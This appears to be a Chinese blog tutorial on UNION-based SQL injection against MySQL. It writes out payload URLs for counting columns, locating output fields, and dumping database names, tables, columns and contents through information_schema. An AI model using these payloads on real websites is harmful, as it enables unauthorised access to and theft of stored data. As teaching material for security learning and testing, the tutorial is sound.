SQL联合查询注入

获取字段的总数

使⽤ order by/group by 语句。通过往后边拼接数字,可确定字段数量,若⼤于该数字,则显示错误,若小于或等于该数字,页面正常。

http://xxx?id=1 order by 6

在这里插入图片描述
如图,因为一共有六个字段,所以order by 6时是正常的,order by 7时就会出错。

判断回显数据的字段的位置

使用http://xxx?id=-1 union select 1,2,3,4,5,6 可以得知显示位,记得之前的要否定,如id=-1id=1 and 1=2这样可以避免因出现了单行数据而不出显示位
注意⼀定要拼接够足够的字段数,否则SQL语句报错。

获取基本信息

查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况
这里比如显示位是2

http://xxx?id=-1 union select 1,user(),3,4,5,6
http://xxx?id=-1 union select 1,database(),3,4,5,6

爆数据库

http://xxx?id=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata
  • information_schema.schematainformation_schema数据库中的一个表,schema_name是这个表中的一个字段,储存着所有的数据库名字,这里不需要用where定义,因为information_schema.schemata同时表示了数据库和表,MySQL≥5.0以上的版本都有
  • group_concat是使数据成一行显示

获取数据库里面的表

http://xxx?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='你要查询的数据库' 

http://xxx?id=-1 union select 1,table_name,3,4,5,6 from information_schema.tables where table_schema='你要查询的数据库' limit 2,1
  • 直接=database()是当前数据库
  • information_schema.tablesinformation_schema中的一个表,table_name是该表中的一个字段,这个字段储存着所有数据库的表名,这里需要用where定位到要查询的数据库
  • limit用来进行限制只输出一行,limit 0,1就是从第一行开始输出一行,limit 0,2就是从第一行开始输出两行。

获取数据库里面的表的字段

http://xxx?id=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='所在的数据库' and table_name='你要查的表';
  • information_schema.columnsinformation_schema中的一个表,column_name是表中的一个字段,储存所有的字段名字
  • 如果加table_schema='所在的数据库' and是为了防止有两个表名字相同
  • 也可以转成16进制,0x.....

获取内容

http://xxx?id=-1 union select 1,'你想知道的字段的内容或查询语句',3,4,5,6 from (database_name.)table_name
  • database_name是数据库名
  • table_name是表名
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值